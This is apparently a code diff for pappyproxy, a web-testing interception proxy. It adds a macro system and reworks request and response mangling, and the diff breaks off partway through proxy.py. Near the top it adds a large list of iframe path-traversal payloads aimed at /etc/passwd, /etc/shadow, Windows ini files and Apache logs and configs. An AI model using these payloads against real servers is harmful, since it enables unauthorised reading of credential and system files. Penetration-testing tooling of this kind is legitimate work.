+<iframe width="420" height="315" src="../../../../../../../etc/passwd" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../etc/passwd%00" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../../etc/passwd" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../../etc/passwd%00" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../../../etc/passwd" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../../../etc/passwd%00" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../../../../etc/passwd" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../../../../etc/passwd%00" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../../../../../etc/passwd" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../../../../../etc/passwd%00" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../../../../../../etc/passwd" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../../../../../../etc/passwd%00" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../../../../../../../etc/passwd" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../../../../../../../etc/passwd%00" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../../../../../../../../etc/passwd" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../../../../../../../../etc/passwd%00" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../../../../../../../../../etc/passwd" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../../../../../../../../../etc/passwd%00" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../../../../../../../../../../etc/passwd" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../../../../../../../../../../etc/passwd%00" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../../../../../../../../../../../etc/passwd" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../../../../../../../../../../../etc/passwd%00" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../../../../../../../../../../../../etc/passwd" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../../../../../../../../../../../../etc/passwd%00" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../../../../../../../../../../../../../etc/passwd" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../../../../../../../../../../../../../etc/passwd%00" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../../../../../../../../../../../../../../etc/passwd" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../../../../../../../../../../../../../../etc/passwd%00" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../../../../../../../../../../../../../../../etc/passwd" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../../../../../../../../../../../../../../../etc/passwd%00" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../../../../../../../../../../../../../../../../etc/passwd" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../../../../../../../../../../../../../../../../etc/passwd%00" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../../../../../../../../../../../../../../../../etc/shadow%00" frameborder="0" allowfullscreen></iframe>
+
+<iframe width="420" height="315" src="/..\..\..\..\..\..\winnt\win.ini" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../windows/win.ini" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="..//..//..//..//..//boot.ini" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="..\../..\../boot.ini" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="..\../..\../..\../..\../boot.ini" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="\.....\\\.....\\\....." frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="d:\AppServ\MySQL" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="c:\AppServ\MySQL" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="c:WINDOWS/system32/" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="/C:\Program Files" frameborder="0" allowfullscreen></iframe>;
+<iframe width="420" height="315" src="/D:\Program Files" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="/C:/inetpub/ftproot/" frameborder="0" allowfullscreen></iframe>
+
+<iframe width="420" height="315" src="/boot/grub/grub.conf" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="/proc/interrupts" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="/proc/cpuinfo" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="/proc/meminfo" frameborder="0" allowfullscreen></iframe>
+
+<iframe width="420" height="315" src="../apache/logs/error.log" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../apache/logs/access.log" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../apache/logs/error.log" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../apache/logs/access.log" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../apache/logs/error.log" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../apache/logs/access.log" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../etc/httpd/logs/acces_log" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../etc/httpd/logs/acces.log" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../etc/httpd/logs/error_log" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../etc/httpd/logs/error.log" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../var/www/logs/access_log" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../var/www/logs/access.log" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../usr/local/apache/logs/access_ log" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../usr/local/apache/logs/access. log" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../var/log/apache/access_log" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../var/log/apache2/access_log" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../var/log/apache/access.log" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../var/log/apache2/access.log" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../var/log/access_log" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../var/log/access.log" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../var/www/logs/error_log" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../var/www/logs/error.log" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../usr/local/apache/logs/error_log" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../usr/local/apache/logs/error.l og" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../var/log/apache/error_log" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../var/log/apache2/error_log" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../var/log/apache/error.log" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../var/log/apache2/error.log" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../var/log/error_log" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="../../../../../../../var/log/error.log" frameborder="0" allowfullscreen></iframe>
+
+<iframe width="420" height="315" src="/etc/init.d/apache" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="/etc/init.d/apache2" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="/etc/httpd/httpd.conf" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="/etc/apache/apache.conf" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="/etc/apache/httpd.conf" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="/etc/apache2/apache2.conf" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="/etc/apache2/httpd.conf" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="/usr/local/apache2/conf/httpd.conf" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="/usr/local/apache/conf/httpd.conf" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="/opt/apache/conf/httpd.conf" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="/home/apache/httpd.conf" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="/home/apache/conf/httpd.conf" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="/etc/apache2/sites-available/default" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="/etc/apache2/vhosts.d/default_vhost.include" frameborder="0" allowfullscreen></iframe>
+
+<iframe width="420" height="315" src="/etc/passwd" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="/etc/shadow" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="/etc/group" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="/etc/security/group" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="/etc/security/passwd" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="/etc/security/user" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="/etc/security/environ" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="/etc/security/limits" frameborder="0" allowfullscreen></iframe>
+<iframe width="420" height="315" src="/usr/lib/security/mkuser.default" frameborder="0" allowfullscreen></iframe>

pappyproxy/macros.py

@@ -0,0 +1,269 @@
+import glob
+import imp
+import os
+import random
+import re
+
+from pappyproxy import http
+from pappyproxy import templates
+from pappyproxy import config
+from twisted.internet import defer
+from jinja2 import Environment, FileSystemLoader
+
+class Macro(object):
+    """
+    A class representing a macro that can perform a series of requests and add
+    data to storage.
+    """
+
+    def __init__(self, filename=''):
+        self.name = ''
+        self.short_name = None
+        self.file_name = '' # name from the file
+        self.filename = filename or '' # filename we load from
+        self.source = None
+
+        if self.filename:
+            self.load()
+
+    def __repr__(self):
+        s = self.name
+        names = []
+        if hasattr(self.source, 'SHORT_NAME'):
+            if self.source.SHORT_NAME:
+                names.append(self.source.SHORT_NAME)
+        names.append(self.file_name)
+        s += ' (%s)' % ('/'.join(names))
+        return "<Macro %s>" % s
+        
+    def load(self):
+        if self.filename:
+            match = re.findall('.*macro_(.*).py$', self.filename)
+            self.file_name = match[0]
+            module_name = os.path.basename(os.path.splitext(self.filename)[0])
+            self.source = imp.load_source('%s'%module_name, self.filename)
+            if not hasattr(self.source, 'MACRO_NAME'):
+                raise PappyException('Macro in %s does not define MACRO_NAME' % self.filename)
+            self.name = self.source.MACRO_NAME
+            if self.name == '':
+                raise PappyException('Macro in %s cannot have a blank name' % self.filename)
+            if hasattr(self.source, 'SHORT_NAME'):
+                self.short_name = self.source.SHORT_NAME
+            else:
+                self.short_name = None
+        else:
+            self.source = None
+
+    def execute(self, args):
+        # Execute the macro
+        if self.source:
+            self.source.run_macro(args)
+            
+class InterceptMacro(object):
+    """
+    A class representing a macro that modifies requests as they pass through the
+    proxy
+    """
+    def __init__(self, filename=''):
+        self.name = ''
+        self.short_name = None
+        self.intercept_requests = True
+        self.intercept_responses = True
+        self.file_name = '' # name from the file
+        self.filename = filename or '' # filename we load from
+        self.source = None
+
+        if self.filename:
+            self.load()
+
+    def __repr__(self):
+        s = self.name
+        names = []
+        if hasattr(self.source, 'SHORT_NAME'):
+            if self.source.SHORT_NAME:
+                names.append(self.source.SHORT_NAME)
+        names.append(self.file_name)
+        s += ' (%s)' % ('/'.join(names))
+        return "<InterceptingMacro %s>" % s
+
+    @property
+    def do_req(self):
+        if (self.source and hasattr(self.source, 'async_mangle_request') or \
+           self.source and hasattr(self.source, 'mangle_request')) and \
+           self.intercept_requests:
+           return True
+        return False
+
+    @property
+    def do_rsp(self):
+        if (self.source and hasattr(self.source, 'async_mangle_response') or \
+           self.source and hasattr(self.source, 'mangle_response')) and \
+           self.intercept_responses:
+           return True
+        return False
+    
+    @property
+    def async_req(self):
+        if self.source and hasattr(self.source, 'async_mangle_request'):
+            return True
+        else:
+            return False
+
+    @property
+    def async_rsp(self):
+        if self.source and hasattr(self.source, 'async_mangle_response'):
+            return True
+        else:
+            return False
+        
+    def load(self):
+        if self.filename:
+            match = re.findall('.*int_(.*).py$', self.filename)
+            if len(match) > 0:
+                self.file_name = match[0]
+            else:
+                self.file_name = self.filename
+            module_name = os.path.basename(os.path.splitext(self.filename)[0])
+            self.source = imp.load_source('%s'%module_name, self.filename)
+            self.name = self.source.MACRO_NAME
+            if self.name == '':
+                raise PappyException('Macro in %s cannot have a blank name' % self.filename)
+            if hasattr(self.source, 'SHORT_NAME'):
+                self.short_name = self.source.SHORT_NAME
+            else:
+                self.short_name = None
+
+            if hasattr(self.source, 'mangle_request') and \
+               hasattr(self.source, 'async_mangle_request'):
+                raise PappyException('Intercepting macro in %s cannot define both mangle_request and async_mangle_request' % self.filename)
+            if hasattr(self.source, 'mangle_response') and \
+               hasattr(self.source, 'async_mangle_response'):
+                raise PappyException('Intercepting macro in %s cannot define both mangle_response and async_mangle_response' % self.filename)
+        else:
+            self.source = None
+
+    def init(self, line):
+        if hasattr(self.source, 'init'):
+            self.source.init(line)
+
+    def mangle_request(self, request):
+        if hasattr(self.source, 'mangle_request'):
+            req = self.source.mangle_request(request)
+            return req
+        return request
+
+    def mangle_response(self, request):
+        if hasattr(self.source, 'mangle_response'):
+            rsp = self.source.mangle_response(request)
+            return rsp
+        return request.response
+
+    @defer.inlineCallbacks
+    def async_mangle_request(self, request):
+        if hasattr(self.source, 'async_mangle_request'):
+            req = yield self.source.async_mangle_request(request)
+            defer.returnValue(req)
+        defer.returnValue(request)
+
+    @defer.inlineCallbacks
+    def async_mangle_response(self, request):
+        if hasattr(self.source, 'async_mangle_response'):
+            rsp = yield self.source.async_mangle_response(request)
+            defer.returnValue(rsp)
+        defer.returnValue(request.response)
+
+def load_macros(loc):
+    """
+    Loads the macros stored in the location and returns a list of Macro objects
+    """
+    macro_files = glob.glob(loc + "/macro_*.py")
+    macro_objs = []
+    for f in macro_files:
+        macro_objs.append(Macro(f))
+
+    int_macro_files = glob.glob(loc + "/int_*.py")
+    int_macro_objs = []
+    for f in int_macro_files:
+        int_macro_objs.append(InterceptMacro(f))
+    return (macro_objs, int_macro_objs)
+
+def req_obj_def(req):
+    lines = req.full_request.splitlines(True)
+    esclines = [line.encode('string_escape') for line in lines]
+
+    params = []
+    if req.is_ssl:
+        params.append('is_ssl=True')
+        if req.port != 443:
+            params.append('port=%d'%req.port)
+    else:
+        if req.port != 80:
+            params.append('port=%d'%req.port)
+    if params:
+        req_params = ', '+', '.join(params)
+    else:
+        req_params = ''
+
+    ret = 'Request (('
+    for line in esclines:
+        ret += "'%s'\n" % line
+    ret += ')'
+    ret += req_params
+    ret += ')'
+    return ret
+
+def macro_from_requests(reqs, short_name='', long_name=''):
+    # Generates a macro that defines request objects for each of the requests
+    # in reqs
+    subs = {}
+    if long_name:
+        subs['macro_name'] = long_name
+    else:
+        random.seed()
+        subs['macro_name'] = 'Macro %d' % random.randint(1,99999999)
+
+    subs['short_name'] = short_name
+
+    n = 0
+    req_lines = []
+    req_params = []
+    for req in reqs:
+        lines = req.full_request.splitlines(True)
+        esclines = [line.encode('string_escape') for line in lines]
+        req_lines.append(esclines)
+
+        params = []
+        if req.is_ssl:
+            params.append('is_ssl=True')
+            if req.port != 443:
+                params.append('port=%d'%req.port)
+        else:
+            if req.port != 80:
+                params.append('port=%d'%req.port)
+        if params:
+            req_params.append(', '+', '.join(params))
+        else:
+            req_params.append('')
+    subs['req_lines'] = req_lines
+    subs['req_params'] = req_params
+
+    loader = FileSystemLoader(config.PAPPY_DIR+'/templates')
+    env = Environment(loader=loader)
+    template = env.get_template('macro.py')
+    return template.render(zip=zip, **subs)
+
+def gen_imacro(short_name='', long_name=''):
+    subs = {}
+    if long_name:
+        subs['macro_name'] = long_name
+    else:
+        random.seed()
+        subs['macro_name'] = 'Macro %d' % random.randint(1,99999999)
+
+    subs['short_name'] = short_name
+
+    loader = FileSystemLoader(config.PAPPY_DIR+'/templates')
+    env = Environment(loader=loader)
+    template = env.get_template('intmacro.py')
+    return template.render(**subs)
+    

pappyproxy/mangle.py

@@ -1,121 +1,78 @@
+import copy
 import os
 import string
 import subprocess
 import tempfile
-import http
 import pappyproxy
 
+from pappyproxy import http
 from twisted.internet import defer
 
-active_requests = {}
-
-intercept_requests = False
-intercept_responses = False
-
-def set_intercept_requests(val):
-    global intercept_requests
-    intercept_requests = val
-
-def set_intercept_responses(val):
-    global intercept_responses
-    intercept_responses = val
+MACRO_NAME = 'Pappy Text Editor Interceptor'
 
 @defer.inlineCallbacks
-def mangle_request(request, connection_id):
+def async_mangle_request(request):
     # This function gets called to mangle/edit requests passed through the proxy
-    global intercept_requests
     
-    orig_req = http.Request(request.full_request)
-    orig_req.port = request.port
-    orig_req.is_ssl = request.is_ssl
-    retreq = orig_req
-
-    if pappyproxy.context.in_scope(orig_req):
-        if intercept_requests: # if we want to mangle...
-            # Write original request to the temp file
-            with tempfile.NamedTemporaryFile(delete=False) as tf:
-                tfName = tf.name
-                tf.write(orig_req.full_request)
-
-            # Have the console edit the file
-            yield pappyproxy.console.edit_file(tfName)
-
-            # Create new mangled request from edited file
-            with open(tfName, 'r') as f:
-                mangled_req = http.Request(f.read(), update_content_length=True)
-                mangled_req.is_ssl = orig_req.is_ssl
-                mangled_req.port = orig_req.port
-
-            os.remove(tfName)
-
-            # Check if dropped
-            if mangled_req.full_request == '':
-                pappyproxy.proxy.log('Request dropped!')
-                defer.returnValue(None)
-            
-            # Check if it changed
-            if mangled_req.full_request != orig_req.full_request:
-                # Set the object's metadata
-                mangled_req.unmangled = orig_req
-                retreq = mangled_req
-
-            # Add our request to the context
-        pappyproxy.context.add_request(retreq)
-    else:
-        pappyproxy.proxy.log('Out of scope! Request passed along unharmed', id=connection_id)
-
-    active_requests[connection_id] = retreq
-    retreq.submitted = True
+    retreq = request
+    # Write original request to the temp file
+    with tempfile.NamedTemporaryFile(delete=False) as tf:
+        tfName = tf.name
+        tf.write(request.full_request)
+
+    # Have the console edit the file
+    yield pappyproxy.console.edit_file(tfName)
+
+    # Create new mangled request from edited file
+    with open(tfName, 'r') as f:
+        text = f.read()
+
+    os.remove(tfName)
+
+    # Check if dropped
+    if text == '':
+        pappyproxy.proxy.log('Request dropped!')
+        defer.returnValue(None)
+
+    mangled_req = http.Request(text, update_content_length=True)
+    mangled_req.port = request.port
+    mangled_req.is_ssl = request.is_ssl
+
+    # Check if it changed
+    if mangled_req.full_request != request.full_request:
+        retreq = mangled_req
+
     defer.returnValue(retreq)
 
 @defer.inlineCallbacks
-def mangle_response(response, connection_id):
+def async_mangle_response(request):
     # This function gets called to mangle/edit respones passed through the proxy
-    global intercept_responses
-    #response = string.replace(response, 'cloud', 'butt')
-    #response = string.replace(response, 'Cloud', 'Butt')
-
-    myreq = active_requests[connection_id]
-
-    orig_rsp = http.Response(response.full_response)
-    retrsp = orig_rsp
-
-    if pappyproxy.context.in_scope(myreq):
-        if intercept_responses: # If we want to mangle...
-            # Write original request to the temp file
-            with tempfile.NamedTemporaryFile(delete=False) as tf:
-                tfName = tf.name
-                tf.write(orig_rsp.full_response)
-
-            # Have the console edit the file
-            yield pappyproxy.console.edit_file(tfName, front=True)
-                
-            # Create new mangled request from edited file
-            with open(tfName, 'r') as f:
-                mangled_rsp = http.Response(f.read(), update_content_length=True)
-
-            os.remove(tfName)
-
-            # Check if dropped
-            if mangled_rsp.full_response == '':
-                pappyproxy.proxy.log('Response dropped!')
-                defer.returnValue(None)
-
-            if mangled_rsp.full_response != orig_rsp.full_response:
-                mangled_rsp.unmangled = orig_rsp
-                retrsp = mangled_rsp
-
-        if not myreq.reqid:
-            myreq.save()
-            if myreq.unmangled:
-                myreq.unmangled.save()
-        myreq.response = retrsp
-    else:
-        pappyproxy.proxy.log('Out of scope! Response passed along unharmed', id=connection_id)
-    del active_requests[connection_id]
-    myreq.response = retrsp
-    pappyproxy.context.filter_recheck()
-    defer.returnValue(myreq)
+
+    retrsp = request.response
+    # Write original response to the temp file
+    with tempfile.NamedTemporaryFile(delete=False) as tf:
+        tfName = tf.name
+        tf.write(request.response.full_response)
+
+    # Have the console edit the file
+    yield pappyproxy.console.edit_file(tfName, front=True)
+
+    # Create new mangled response from edited file
+    with open(tfName, 'r') as f:
+        text = f.read()
+
+    os.remove(tfName)
+
+    # Check if dropped
+    if text == '':
+        pappyproxy.proxy.log('Response dropped!')
+        defer.returnValue(None)
+
+    mangled_rsp = http.Response(text, update_content_length=True)
+
+    if mangled_rsp.full_response != request.response.full_response:
+        mangled_rsp.unmangled = request.response
+        retrsp = mangled_rsp
+
+    defer.returnValue(retrsp)
     
-def connection_lost(connection_id):
-    del active_requests[connection_id]

pappyproxy/pappy.py

@@ -3,6 +3,7 @@
 import argparse
 import cmd2
 import crochet
+import datetime
 import imp
 import os
 import schema.update
@@ -20,6 +21,7 @@ from twisted.enterprise import adbapi
 from twisted.internet import reactor, defer
 from twisted.internet.threads import deferToThread
 from twisted.internet.protocol import ServerFactory
+from twisted.internet.error import CannotListenError
 
 
 crochet.no_setup()
@@ -50,6 +52,7 @@ def delete_datafile():
 @defer.inlineCallbacks
 def main():
     settings = parse_args()
+    load_start = datetime.datetime.now()
 
     if settings['lite']:
         conf_settings = config.get_default_config()
@@ -82,17 +85,23 @@ def main():
     if config.DEBUG_DIR and os.path.exists(config.DEBUG_DIR):
         shutil.rmtree(config.DEBUG_DIR)
         print 'Removing old debugging output'
-    factory = ServerFactory()
-    factory.protocol = proxy.ProxyServer
+    serv_factory = proxy.ProxyServerFactory(save_all=True)
     listen_strs = []
+    listening = False
     for listener in config.LISTENERS:
-        reactor.listenTCP(listener[0], factory, interface=listener[1])
-        listener_str = 'port %d' % listener[0]
-        if listener[1] not in ('127.0.0.1', 'localhost'):
-            listener_str += ' (bound to %s)' % listener[1]
-        listen_strs.append(listener_str)
+        try:
+            reactor.listenTCP(listener[0], serv_factory, interface=listener[1])
+            listening = True
+            listener_str = 'port %d' % listener[0]
+            if listener[1] not in ('127.0.0.1', 'localhost'):
+                listener_str += ' (bound to %s)' % listener[1]
+            listen_strs.append(listener_str)
+        except CannotListenError as e:
+            print repr(e)
     if listen_strs:
         print 'Proxy is listening on %s' % (', '.join(listen_strs))
+    else:
+        print 'No listeners opened'
 
     com_factory = ServerFactory()
     com_factory.protocol = comm.CommServer
@@ -101,15 +110,25 @@ def main():
     comm_port = reactor.listenTCP(0, com_factory, interface='127.0.0.1')
     comm.set_comm_port(comm_port.getHost().port)
 
+    # Load the scope
+    yield context.load_scope(http.dbpool)
+    context.reset_to_scope()
+
+    # Apologize for slow start times
+    load_end = datetime.datetime.now()
+    load_time = (load_end - load_start)
+    if load_time.total_seconds() > 20:
+        print 'Startup was slow (%s)! Sorry!' % load_time
+        print 'Database has {0} requests (~{1:.2f}ms per request)'.format(len(context.active_requests), ((load_time.total_seconds()/len(context.active_requests))*1000))
+
     sys.argv = [sys.argv[0]] # cmd2 tries to parse args
-    d = deferToThread(console.ProxyCmd().cmdloop)
+    cons = console.ProxyCmd()
+    console.set_proxy_server_factory(serv_factory)
+    d = deferToThread(cons.cmdloop)
     d.addCallback(lambda ignored: reactor.stop())
     if delete_data_on_quit:
         d.addCallback(lambda ignored: delete_datafile())
 
-    # Load the scope
-    yield context.load_scope(http.dbpool)
-    context.reset_to_scope()
 
 def start():
     reactor.callWhenRunning(main)

pappyproxy/proxy.py

@@ -1,3 +1,4 @@
+import copy
 import datetime
 import gzip
 import os
@@ -19,7 +20,7 @@ from pappyproxy import mangle
 from pappyproxy.util import PappyException
 from twisted.enterprise import adbapi
 from twisted.internet import reactor, ssl
-from twisted.internet.protocol import ClientFactory
+from twisted.internet.protocol import ClientFactory, ServerFactory
 from twisted.protocols.basic import LineReceiver
 from twisted.internet import defer
 
@@ -35,6 +36,16 @@ def get_next_connection_id():
     next_connection_id += 1
     return ret_id
 
+def add_intercepting_macro(key, macro, int_macro_dict):
+    if key in int_macro_dict:
+        raise PappyException('Macro with key %s already exists' % key)
+    int_macro_dict[key] = macro
+
+def remove_intercepting_macro(key, int_macro_dict):
+    if not key in int_macro_dict:
+        raise PappyException('Macro with key %s not loaded' % key)
+    del int_macro_dict[key]
+
 def log(message, id=None, symbol='*', verbosity_level=1):
 
     if config.DEBUG_TO_FILE and not os.path.exists(config.DEBUG_DIR):
@@ -113,34 +124,72 @@ class ProxyClient(LineReceiver):
         lines = self.request.full_request.splitlines()
         for l in lines:
             self.log(l, symbol='>r', verbosity_level=3)
-        mangled_request = yield mangle.mangle_request(self.request,
-            self.factory.connection_id)
-        if mangled_request is None:
-            self.transport.loseConnection()
-            return
-        if context.in_scope(mangled_request):
-            yield mangled_request.deep_save()
+
+        sendreq = self.request
+        if context.in_scope(sendreq):
+
+            if self.factory.save_all:
+                yield sendreq.async_deep_save()
+
+            ## Run intercepting macros
+            # if we don't copy it, when we delete a macro from the console,
+            # we get a crash. We do a shallow copy to keep the macro
+            # instances the same.
+            to_mangle = copy.copy(self.factory.intercepting_macros).iteritems()
+            for k, macro in to_mangle:
+                if macro.do_req:
+                    if macro.async_req:
+                        sendreq = yield macro.async_mangle_request(sendreq)
+                    else:
+                        sendreq = macro.mangle_request(sendreq)
+
+                    if sendreq is None:
+                        self.transport.loseConnection()
+                        self.request = None
+                        self.data_defer.callback(None)
+                        if self.factory.save_all:
+                            yield sendreq.async_deep_save()
+                        defer.returnValue(None)
+
+            if sendreq != self.request:
+                sendreq.unmangled = self.request
+
+            if self.factory.save_all:
+                yield sendreq.async_deep_save()
+        else:
+            self.log("Request out of scope, passing along unmangled")
+                
         if not self._sent:
-            self.transport.write(mangled_request.full_request)
+            self.factory.start_time = datetime.datetime.now()
+            self.transport.write(sendreq.full_request)
+            self.request = sendreq
+            self.request.submitted = True
             self._sent = True
-        self.data_defer.callback(mangled_request.full_request)
+            self.data_defer.callback(sendreq)
+        defer.returnValue(None)
 
+    def connectionLost(self, reason):
+        pass
+        
     def handle_response_end(self, *args, **kwargs):
         self.log("Remote response finished, returning data to original stream")
+        self.request.response = self._response_obj
         self.transport.loseConnection()
         assert self._response_obj.full_response
-        self.factory.return_response(self._response_obj)
+        self.factory.return_request_pair(self.request)
 
 
 class ProxyClientFactory(ClientFactory):
 
-    def __init__(self, request):
+    def __init__(self, request, save_all=False):
         self.request = request
         #self.proxy_server = None
+        self.intercepting_macros = {}
         self.connection_id = -1
         self.data_defer = defer.Deferred()
         self.start_time = datetime.datetime.now()
         self.end_time = None
+        self.save_all = save_all
 
     def log(self, message, symbol='*', verbosity_level=1):
         log(message, id=self.connection_id, symbol=symbol, verbosity_level=verbosity_level)
@@ -157,19 +206,66 @@ class ProxyClientFactory(ClientFactory):
         self.log("Connection lost with remote server: %s" % reason.getErrorMessage())
 
     @defer.inlineCallbacks
-    def return_response(self, response):
+    def return_request_pair(self, request):
         self.end_time = datetime.datetime.now()
-        log_request(console.printable_data(response.full_response), id=self.connection_id, symbol='<m', verbosity_level=3)
-        mangled_reqrsp_pair = yield mangle.mangle_response(response, self.connection_id)
-        if mangled_reqrsp_pair:
-            log_request(console.printable_data(mangled_reqrsp_pair.response.full_response),
-                        id=self.connection_id, symbol='<', verbosity_level=3)
-            mangled_reqrsp_pair.time_start = self.start_time
-            mangled_reqrsp_pair.time_end = self.end_time
-            if context.in_scope(mangled_reqrsp_pair):
-                yield mangled_reqrsp_pair.deep_save()
-        self.data_defer.callback(mangled_reqrsp_pair)
+        log_request(console.printable_data(request.response.full_response), id=self.connection_id, symbol='<m', verbosity_level=3)
+
+        request.time_start = self.start_time
+        request.time_end = self.end_time
+        if context.in_scope(request):
+
+            if self.save_all:
+                yield request.async_deep_save()
+
+            # if we don't copy it, when we delete a macro from the console,
+            # we get a crash. We do a shallow copy to keep the macro
+            # instances the same.
+            to_mangle = copy.copy(self.intercepting_macros).iteritems()
+            old_rsp = request.response
+            for k, macro in to_mangle:
+                if macro.do_rsp:
+                    if macro.async_rsp:
+                        mangled_rsp = yield macro.async_mangle_response(request)
+                    else:
+                        mangled_rsp = macro.mangle_response(request)
+
+                    if mangled_rsp is None:
+                        request.response = None
+                        self.data_defer.callback(request)
+                        if self.save_all:
+                            yield request.async_deep_save()
+                        self.transport.loseConnection()
+                        defer.returnValue(None)
+
+                    request.response = mangled_rsp
+
+            if request.response != old_rsp:
+                request.response.unmangled = old_rsp
+
+            if self.save_all:
